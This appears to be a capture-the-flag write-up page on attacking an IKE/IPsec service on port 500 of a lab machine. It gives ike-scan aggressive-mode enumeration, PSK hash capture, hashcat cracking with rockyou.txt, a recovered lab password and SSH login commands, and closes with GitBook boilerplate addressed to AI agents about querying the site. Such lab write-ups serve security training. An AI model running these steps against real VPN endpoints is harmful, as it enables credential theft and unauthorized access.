> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/ike-ipsec-500.md). # IKE/IPsec - 500 IKE/IPsec aggressive mode enumeration with ike-scan, PSK hash capture, hashcat cracking, and SSH access. ### IKE/IPsec VPN Exploitation Port 500 UDP indicates an IKE key exchange service. Attempt to capture the Pre-Shared Key (PSK) using aggressive mode. #### Identify the ID Use `ike-scan` to check whether aggressive mode is enabled: ```bash sudo ike-scan -A 10.129.238.52 ``` * Result: Handshake successful. ID detected: `ike@expressway.htb`. #### Capture and crack the PSK hash
```bash sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52 ``` Extract the hash and attempt a brute force attack with the `rockyou.txt` dictionary. ```bash hashcat expressway.psk /usr/share/wordlists/rockyou.txt ``` * Credentials obtained: `ike` : `freakingrockstarontheroad`
#### Initial Access Connection via SSH with the credentials found: ```bash ssh ike@10.129.238.52 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ports-and-services/ike-ipsec-500.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.